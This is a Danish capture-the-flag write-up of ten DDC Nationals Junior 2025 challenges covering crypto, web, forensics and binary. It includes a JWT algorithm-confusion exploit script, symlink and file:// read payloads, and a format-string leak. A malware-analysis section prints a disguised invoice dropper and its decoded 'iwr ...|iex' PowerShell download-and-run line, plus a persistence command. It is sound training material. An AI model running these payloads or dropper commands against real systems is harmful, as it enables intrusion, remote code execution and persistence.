DDC - Nationals Junior 2025 : Writeups
En kæmpe tak til DDC for at arrangere denne fantastiske begivenhed og til alle de deltagende for at gøre det til en uforglemmelig oplevelse! 🙌
Junior Scoreboard (top 10):

Opgaver løst:
| Challenge | Category | Value |
|---|---|---|
| Random AES | Cryptography | 100 |
| Photo Album | Web exploitation | 217 |
| 1337guesser | Reverse Engineering | 100 |
| Block Party | Cryptography | 186 |
| Unexpected Invoice | Forensics | 353 |
| Bøf-baserede værdipapirer og emails | Forensics | 557 |
| EvilPlot Parking Group | Web exploitation | 186 |
| BugTracker | Web exploitation | 100 |
| The Legend | Web exploitation | 709 |
| El Reverso | Binary | 300 |
Disse opgaver gav mig 2808 points og en 6 plads i Junior kategorien.
Random AES
Jeg vil helst undgå noget fancy, der kan gå galt, så jeg holder mig til CTR-tilstand og et tilfældigt bibliotek til keygen. Hvor mange fejl kan man egentlig lave på bare 10 linjer Python?
Løsning: Da nøglen er valgt tilfældigt mellem range(0, 2**128), kan vi bare brute-force den.
rom Crypto.Cipher import AES
def brute_force_key(iv, ciphertext):
iv = bytes.fromhex(iv)
ciphertext = bytes.fromhex(ciphertext)
for key_int in range(0,2^128):
key = key_int.to_bytes(16, 'little')
aes = AES.new(key, AES.MODE_CTR, nonce=iv)
try:
decrypted = aes.decrypt(ciphertext)
if b'DDC{' in decrypted: # Prøv at finde flaget
print("Decrypted text:", decrypted)
return key
except (ValueError, KeyError):
continue
raise ValueError("Could not brute force the key")
iv = "7f3a8b13e6168fcf"
ct = "98f3824b84bd2fbea359de2af97155d80c6c26acb6a7d4b3452f94cd84c0f561bd5407bb7f7aa72f01b245"
key = brute_force_key(iv, ct)
print("Found key:", key.hex())
Flag: DDC{Oh_oops_writing_too_much_sage_recently}
Photo Album
Upload dine billeder!
Løsning: Upload et billede med et symlink til flag.txt i et tar-archive og download dit billede igen, så den læser serverens /flag.txt.
touch /flag.txt
ln -s /flag.txt flag.jpg
tar -cvf archive.tar flag.jpg
curl -o /dev/null -X POST -F "[email protected]" http://photo-album.hkn
curl http://photo-album.hkn/static/albums/flag.jpg
Flag: DDC{f4k3_im4g3_r34l_fl4g}
Det er først efter jeg har løst opgaven at jeg opdager at der var handout😂
1337guesser
Kan du slå mit “simple” spil? 👾 Hver gang du gætter forkert, vil der blive genereret et nyt nummer. 🙀
Løsning: Ved at bruge deobfuscate.io kan vi læse os frem til at flaget kun bliver vist hvis vores request header indeholder X-Requested-With: XMLHttpRequest.
Uddrag af javascript fra hjemmesiden:
<script>
function _0x201b(_0x212891,_0x4755c3){const _0xba2e68=_0xba2e();return _0x201b=function(_0x201bed,_0x195c3f){_0x201bed=_0x201bed-0x103;let _0x20b3fa=_0xba2e68[_0x201bed];return _0x20b3fa;},_0x201b(_0x212891,_0x4755c3);}function _0xba2e(){const _0x31c9d5=['1271130vEUMHI','726NwqEnD','2590929KffKwd','10zgROeg','textContent','1907892RjhURJ','then','floor','json','querySelector','broken:','643748PGTkWr','random','error','747582CXYNGL','flag','11rEjJAg','getElementById','value','10267090tZryet','catch','8rBlUdG','154hWPsOr'];_0xba2e=function(){return _0x31c9d5;};return _0xba2e();}const _0x22a063=_0x201b;(function(_0x142287,_0x5b49a2){const _0x46a970=_0x201b,_0x3821d3=_0x142287();while(!![]){try{const _0x11d434=-parseInt(_0x46a970(0x105))/0x1*(-parseInt(_0x46a970(0x103))/0x2)+-parseInt(_0x46a970(0x112))/0x3+-parseInt(_0x46a970(0x10f))/0x4*(parseInt(_0x46a970(0x107))/0x5)+parseInt(_0x46a970(0x104))/0x6+-parseInt(_0x46a970(0x109))/0x7+-parseInt(_0x46a970(0x119))/0x8*(parseInt(_0x46a970(0x106))/0x9)+parseInt(_0x46a970(0x117))/0xa*(parseInt(_0x46a970(0x114))/0xb);if(_0x11d434===_0x5b49a2)break;else _0x3821d3['push'](_0x3821d3['shift']());}catch(_0x58d7ec){_0x3821d3['push'](_0x3821d3['shift']());}}}(_0xba2e,0x27c91));let _0x69d1d3d37=Math[_0x22a063(0x10b)](Math['random']()*0x3e8)*0x2b;function README(){const _0x49540a=_0x22a063;let _0x32fdb4=parseInt(document[_0x49540a(0x115)]('b')[_0x49540a(0x116)]);_0x32fdb4===_0x69d1d3d37?fetch('/',{'headers':{'X-Requested-With':'XMLHttpRequest'}})[_0x49540a(0x10a)](_0x5d750b=>_0x5d750b[_0x49540a(0x10c)]())[_0x49540a(0x10a)](_0x9a506b=>{const _0x2faaf1=_0x49540a;document[_0x2faaf1(0x10d)]('h1')[_0x2faaf1(0x108)]='::'+_0x9a506b[_0x2faaf1(0x113)];})[_0x49540a(0x118)](_0x4a46f7=>{const _0x53d305=_0x49540a;console[_0x53d305(0x111)](_0x53d305(0x10e),_0x4a46f7);}):alert('checking.. flag will not be displayed if false');_0x69d1d3d37=Math[_0x49540a(0x10b)](Math[_0x49540a(0x110)]()*0x3e8)*0x2b;}document['getElementById']('v')['addEventListener']('click',README);
</script>
curl 'http://1337-guesser.hkn/' -H 'X-Requested-With: XMLHttpRequest'
{"flag":"DDC{1337_d3crypt0r_g0d}"}
Flag: DDC{1337_d3crypt0r_g0d}
Block Party
Vi modtog besked om, at vores fjende planlagde at angribe ved daggry.
Den krypterede ordre er blevet sendt via deres brugerdefinerede krypteringssystem, der kombinerer mange forskellige AES algoritmer.
Kan du intercept beskeden og narre dem til at angribe ved skumringstid i stedet?
Kan du hjælpe os?
Løsning: Efter at have kigget på koden, kan vi se at den er vulnerable overfor et XOR Known-Plaintext Attack
Full solve script:
from pwn import *
r = remote("blockparty.hkn", 1337)
#r = process(["python3", "main.py"])
r.recvuntil(b"Ciphertext: ")
ciphertext = bytes.fromhex(r.recvline().strip().decode())
# calc XOR diff between "dawn" and "dusk"
diff = bytes([ord('d') ^ ord('d'), ord('a') ^ ord('u'), ord('w') ^ ord('s'), ord('n') ^ ord('k')])
dawn_position = b'!Attack at dawn tomorrow!'.find(b'dawn')
modified_ciphertext = bytearray(ciphertext)
for i in range(4):
if i + dawn_position < 16: # Ensure we're within IV bounds
modified_ciphertext[i + dawn_position] ^= diff[i]
r.sendline(modified_ciphertext.hex().encode())
r.recvuntil(b"Verifying the integrity of the received ciphertext...\n")
print(r.recvline().strip().decode())
Flag: DDC{m0d35_0f_0p3r4t10n_gall0r3}
Unexpected Invoice
Vi har fået en invoice fra en eller anden som siger han har lavet en challenge til DDC og skal have nogle penge? Det virker lidt mærkeligt det hele… Kan du tage et kig?
Handout (unexpected-invoice.zip)
Løsning: Ved at åbne zip filen kan vi se at der er en javascript fil gemt som en pdf Invoice 42.pdf.js. Ved at åbne filen i en editor kan vi se at det er VBScript fil, den indeholder en pdf fil encoded med base64 samt nogle funktioner. 2 af dem er dec2 og dec, som dekoder noget data med en XOR key:
function dec2(base64) {
var xml = new ActiveXObject("MSXML2.DOMDocument.3.0");
var el = xml.createElement("base64");
el.dataType = "bin.base64";
el.text = base64;
var bin = el.nodeTypedValue;
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Open();
stream.Write(bin);
stream.Position = 0;
stream.Type = 2;
stream.Charset = "utf-8";
var str = stream.ReadText();
stream.Close();
return str;
}
function dec(str, key) {
str = dec2(str)
var result = "";
for (var i = 0; i < str.length; i++) {
var charCode = str.charCodeAt(i);
var keyCharCode = key.charCodeAt(i % key.length);
result += String.fromCharCode(charCode ^ keyCharCode);
}
return result;
}
var shellApp = new ActiveXObject("Shell.Application");
shellApp.ShellExecute(filePath, "", "", "open", 1);
shellApp.ShellExecute(dec("NAIIFzAuMlg1AyQNDgRMMS1qcgpgKx4cMQAEaDs3PDIFXyccFAIBRhZkHCkvIVIwAxA7GxsWMTg8", "w8T@Y@V7Bpx^w"), dec("dTVUDD0rbzYAVUlVH3d5FwolNWItAVNfCx1vMBdLJTUmc0UYXwhSNyQfADgqYToRVxZaTD0u", "XVteJYO^t!9&%"), "", "open", 0);
Vi kan hurtigt lave en replika af funktionen i python:
import base64
def dec(enc_str, key):
decoded_str = base64.b64decode(enc_str).decode('utf-8')
result = ""
for i in range(len(decoded_str)):
char_code = ord(decoded_str[i])
key_char_code = ord(key[i % len(key)])
result += chr(char_code ^ key_char_code)
return result
print(dec("NAIIFzAuMlg1AyQNDgRMMS1qcgpgKx4cMQAEaDs3PDIFXyccFAIBRhZkHCkvIVIwAxA7GxsWMTg8", "w8T@Y@V7Bpx^w"))
print(dec("dTVUDD0rbzYAVUlVH3d5FwolNWItAVNfCx1vMBdLJTUmc0UYXwhSNyQfADgqYToRVxZaTD0u", "XVteJYO^t!9&%"))
Dette giver os 2 strings:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
-c iwr https://cool-surf-87fc.oli-19f.workers.dev/|iex
Dette bruger powershell til at invoke en URL og køre den.
Vi kan nu åbne https://cool-surf-87fc.oli-19f.workers.dev i en browser for at se indholdet. I browseren kan vi se flere hundred linjer base64 encoded powershell script.
Efter at have kigget flere af dem igennem, er det kun den aller sidste der er interessant. Vi kan dekode den med CyberChef
Her finder vi noget powershell kode som laver en liste af tal og xor dem med en key på 23 og til sidst omsætter det til en string som igen bliver invoked.
$inputLocale = Get-WinUserLanguageList | Select-Object -First 1
$a = @(58, 99, 55, 100, 114, 101, 97, 126, 116, 114, 55, 58, 116, 55, 53, 84, 45, 75, 64, 126, 121, 115, 120, 96, 100, 75, 68, 110, 100, 99, 114, 122, 36, 37, 75, 116, 122, 115, 57, 114, 111, 114, 53, 55, 58, 118, 55, 53, 56, 116, 55, 103, 120, 96, 114, 101, 100, 127, 114, 123, 123, 55, 58, 116, 55, 126, 96, 101, 55, 127, 99, 99, 103, 100, 45, 56, 56, 116, 37, 100, 114, 101, 97, 114, 101, 57, 127, 124, 121, 56, 69, 82, 69, 83, 114, 37, 70, 96, 115, 37, 34, 113, 115, 80, 112, 109, 79, 36, 94, 39, 78, 122, 94, 111, 115, 81, 46, 120, 90, 80, 96, 109, 79, 109, 81, 39, 79, 109, 81, 109, 79, 36, 94, 39, 115, 80, 112, 109, 116, 123, 46, 125, 115, 79, 94, 111, 117, 36, 65, 109, 113, 70, 42, 42, 53, 55, 58, 121, 55, 53, 84, 127, 101, 120, 122, 114, 55, 66, 103, 115, 118, 99, 114, 101, 53, 55, 58, 122, 55, 118, 115, 115)
function d($c, $e) {
$r = ""
for ($i = 0; $i -lt $c.Length; $i++) {
$r += [char]($c[$i] -bxor $e)
}
return $r
}
if ($inputLocale.InputMethodTips -match "0409:00000419" -or $inputLocale.InputMethodTips -match "00000419") {
$b = 23
Invoke-SharPersist (d $a $b)
}
Vi kan replikerer koden i python for at dekode hvad det næste trin er:
a = [58, 99, 55, 100, 114, 101, 97, 126, 116, 114, 55, 58, 116, 55, 53, 84, 45, 75, 64, 126, 121, 115, 120, 96, 100, 75, 68, 110, 100, 99, 114, 122, 36, 37, 75, 116, 122, 115, 57, 114, 111, 114, 53, 55, 58, 118, 55, 53, 56, 116, 55, 103, 120, 96, 114, 101, 100, 127, 114, 123, 123, 55, 58, 116, 55, 126, 96, 101, 55, 127, 99, 99, 103, 100, 45, 56, 56, 116, 37, 100, 114, 101, 97, 114, 101, 57, 127, 124, 121, 56, 69, 82, 69, 83, 114, 37, 70, 96, 115, 37, 34, 113, 115, 80, 112, 109, 79, 36, 94, 39, 78, 122, 94, 111, 115, 81, 46, 120, 90, 80, 96, 109, 79, 109, 81, 39, 79, 109, 81, 109, 79, 36, 94, 39, 115, 80, 112, 109, 116, 123, 46, 125, 115, 79, 94, 111, 117, 36, 65, 109, 113, 70, 42, 42, 53, 55, 58, 121, 55, 53, 84, 127, 101, 120, 122, 114, 55, 66, 103, 115, 118, 99, 114, 101, 53, 55, 58, 122, 55, 118, 115, 115]
r = ""
for c in a:
r += chr(c ^ 23)
print(r)
Efter at have kørt koden, får vi en ny powershell kommando:
-t service -c "C:\Windows\System32\cmd.exe" -a "/c powershell -c iwr https://c2server.hkn/RERDe2Qwd25fdGgzX3I0YmIxdF9oMGwzXzF0XzFzX3I0dGgzcl9jdXIxb3VzfQ==" -n "Chrome Updater" -m add
Her fanger RERDe2Qwd25fdGgzX3I0YmIxdF9oMGwzXzF0XzFzX3I0dGgzcl9jdXIxb3VzfQ== min opmærksomhed. Det ligner base64, og efter at have dekodet det, får vi:
halfdan@desktop:~$ echo RERDe2Qwd25fdGgzX3I0YmIxdF9oMGwzXzF0XzFzX3I0dGgzcl9jdXIxb3VzfQ== | base64 -d
DDC{d0wn_th3_r4bb1t_h0l3_1t_1s_r4th3r_cur1ous}
Flag: DDC{d0wn_th3_r4bb1t_h0l3_1t_1s_r4th3r_cur1ous}
Bøf-baserede værdipapirer og emails
I en yderst vigtig e-mail korrespondance diskuterer JD Vance og Donald Trump forretningsidéer i topklasse, store hemmeligheder og absolut ikke mistænkelige aftaler. Dog har de, enten på grund af manglende cybersikkerhedsprincipper eller en lidt for afslappet tilgang til dem, efterladt et flag i en af deres e-mails.
Uheldigt for dem (men heldigt for vores Nationals-deltagere) blev en kopi af denne udveksling opsnappet via en ikke-offentliggjort XKEYSCORE-node. En tidligere NSA-medarbejder, der netop var blevet fyret af Elon Musks DOGE-projekt, har lækket et disk-image fra denne XKEYSCORE-node og han så bestemt ikke tilfreds ud.
Handout (XKEYSCORE-NODE-1.zip)
Løsning: Ved at loade .vhd filen ind i Autopsy kan vi se at der er 2 slettede filer, den ene er en pcap fil ved navn bigsteakinterception.pcap. Efter at have åbnet pcap filen i Wireshark kan vi sortere på imf, her finder vi en steam (tcp.stream eq 4) som indeholder en mail fra [email protected] til [email protected] med emnet re: Very Important Business #MakeAmericaGreatAgain. I denne mail er der et vedhæftet billede som hedder very_secure_file.jpeg. Efter at have kopiret al base64 dataen fra mailen og gemt det i en fil, kan vi dekode det med base64 -d very_secure_file.txt > very_secure_file.jpeg.
Når vi åbner billedet, kan vi se at det indeholder et flag.

Flag: DDC{HUGE_VERY_BIG_COIN}
EvilPlot Parking Group
YOOOO!
Der er en date på vej – og jeg har NUL gæsteparkeringer tilbage. Hvis der ikke kan parkeres, er aftenen totalt ødelagt.
Der må være et hul i det her system. Måske kan du “låne” nabo Bentes mail og rippe hende for gæsteparkeringer…
Der må være et eller andet sted på siden, hvor vi kan finde en genvej – måske en URL, som de fleste ikke lige tænker over at tjekke? Prøv at kigge alle de steder, der kunne give mening.
Skynd dig… bilen er lige om hjørnet.
Løsning: Efter at have tjekket /robots.txt finder vi /apidocs - her er der et “debug user” endpoint. Ved at indsætte User ID 1, får vi en 200 OK med brugeren [email protected] med plot id 6.
Efter at have kigget source koden igennem finder vi en javascript fil (/static/utils.js) i static mappen:
const CONFIG = {
maxRetries: 5,
enableLogs: false,
debugMode: false,
theme: "dark",
SECRET: "th1sIsN0tTh3S3cretUreL00k1ngF0r",
fallbackPlotId: 99,
hashVersion: "v2.1-beta",
useLegacyHash: true,
};
async function sha256(message) {
const msgBuffer = new TextEncoder().encode(message);
const hashBuffer = await crypto.subtle.digest("SHA-256", msgBuffer);
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray
.map((b) => b.toString(16).padStart(2, "0"))
.join("");
return hashHex;
}
async function generateAuthHash(email, pId) {
// This hash combines the users email, plot id and secret to create a hash
return await sha256(email + pId + CONFIG.SECRET);
}
Dette er den måde serveren genererer auth hash på. Den bruger SHA256 til at hash’e email, plot id og en hardcoded secret.
Vi kan derfor lave vores egen hash og lave en gæsteparking som brugeren [email protected].
echo -n "[email protected]" | sha256sum
b7e51bbb14c0b38ae395026a11e5cc515574c6363ff59a29bd6acc051a413e6e
Nu kan lave en gæsteparkering ved at besøge denne URL: http://evilplot.hkn/[email protected]&pId=6&auth=b7e51bbb14c0b38ae395026a11e5cc515574c6363ff59a29bd6acc051a413e6e og lave en gæsteparkering.
Flag: DDC{D4MN_P4rK1nG_C0Mp4n13S_4_3v3R}
BugTracker
Her er vores bugtracker - hvor vi har helt styr på næsten alle fejl.
Løsning: Efter at have kigget i source koden lidt, kan vi se at serveren bruger JWT til auth, og at public key er hardcoded i koden. Vi kan ændre den algoritme der bruges til at signere token, ved at lave et Algorithm confusion attack.
Full solve script:
import requests
import json
import base64
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import hmac
import hashlib
import urllib.parse
BASE_URL = "http://bugtracker.hkn"
# Hardcoded public key from the handout
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu312Aqc7m8puqI5i0mm4
+CdBRYRmccFwJme1qHVAc0RcIPSS6k3hJ/WZJgQyDuTt/DUtYb2pbVTzIso3v5HR
FodZ8zZdqHLBF+V8uVluwXGyjw5i7mpBS8PJQMMIL3tEPmYB21KKF1cfkMbDYE6S
r8BchYraXnAtLj+w6w1rzTOEYsqbktCq29xXTWU8+E+mOUYKHS8n8olyPEBfiaHY
fy7nUt+uMrUXxayrTWMi7HduFq4ZW7kUnH66koTo26x+HuhHuh9lhIdVLKmB64Yq
Kyt88r1XOAXI9cMVQZqdRuGbYSg8UgLE1mzqxkAzv0E6hITTJYQdCTAiuUX1Dj1M
bwIDAQAB
-----END PUBLIC KEY-----"""
def b64url_encode(data):
return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')
#### EXPLOIT ####
data = {"username": "test","password": "test"}
requests.post(f"{BASE_URL}/signup", json=data)
response = requests.post(f"{BASE_URL}/login", json=data)
token = response.json().get("token")
# PAYLOAD
parts = token.split('.')
payload_b64 = parts[1]
padding_needed = 4 - (len(payload_b64) % 4)
if padding_needed < 4:
payload_b64 += '=' * padding_needed
payload = json.loads(base64.urlsafe_b64decode(payload_b64).decode('utf-8'))
# HEADER
header_b64 = parts[0]
padding_needed = 4 - (len(header_b64) % 4)
if padding_needed < 4:
header_b64 += '=' * padding_needed
header = json.loads(base64.urlsafe_b64decode(header_b64).decode('utf-8'))
key_obj = serialization.load_pem_public_key(
public_key.encode(),
backend=default_backend()
)
raw_key_bytes = key_obj.public_bytes(
encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
# CHANGE algorithm from RS256 to HS256
header["alg"] = "HS256"
# SET ROLE TO ADMIN
payload["role"] = "admin"
signing_input = f"{b64url_encode(json.dumps(header))}.{b64url_encode(json.dumps(payload))}"
signature = hmac.new(raw_key_bytes, signing_input.encode('utf-8'), hashlib.sha256).digest()
forged_token = f"{signing_input}.{b64url_encode(signature)}"
# Get the flag with our admin token
query = [
{ "$limit": 1 },
{ "$unionWith": {
"coll": "flags",
"pipeline": [
{ "$match": { "label": "ctf_flag" } }
]
}}
]
headers = {"Authorization": f"Bearer {forged_token}"}
r = requests.get(f"{BASE_URL}/admin_search?query={urllib.parse.quote(json.dumps(query))}", headers=headers)
print(r.json()['results'][1]['flag'])
Flag: DDC{c0nfu53d_4nd_vuln3r4bl3}
The Legend
Velkommen, tapre eventyrer!
Jeg har lavet en mega fed legende generator, gå da lige ind og check den ud og få din helt egen custom legende!!.
Løsning: Når vi laver en ny legende, kan vi se i exif dataen at pdfen er lavet med wkhtmltopdf v. 0.12.5 som er sårbar overfor CVE-2020-21365.
Ved at indsætte dette script i pdfen kan vi leake brugerne på serveren:
<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>
mrbeef❌1000:1000::/home/mrbeef:/bin/bash
Vikan se at der er en bruger der hedder mrbeef og ud fra dette kan vi gætte på at flaget ligger i /home/mrbeef/flag.txt.
<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///home/mrbeef/flag.txt"); x.send(); </script>
Flag: DDC{w4x3d_4nd_w1ck3d_pdF_m4st3ry}
El Reverso
Har du problemer med at forstå Carlos El Reverso Santiago Dominguez Rodriguez Martinez? Dette program kan hjælpe ved at oversætte!
Løsning: Vi bruger %s<num>$s til at leake arguments, som programmet er startet med. Men vi skal også huske at reversere strengen, da den er reverseret i programmet.
halfdan@desktop:~/Downloads$ nc translate.hkn 1337
> s$09%
SOCAT_SOCKPORT=1337
> s$08%
}T2E8_EHT_M4_1_02REVER_LE_M4_1{CDD
halfdan@desktop:~/Downloads$ echo '}T2E8_EHT_M4_1_02REVER_LE_M4_1{CDD' | rev
DDC{1_4M_EL_REVER20_1_4M_THE_8E2T}
Flag: DDC{1_4M_EL_REVER20_1_4M_THE_8E2T}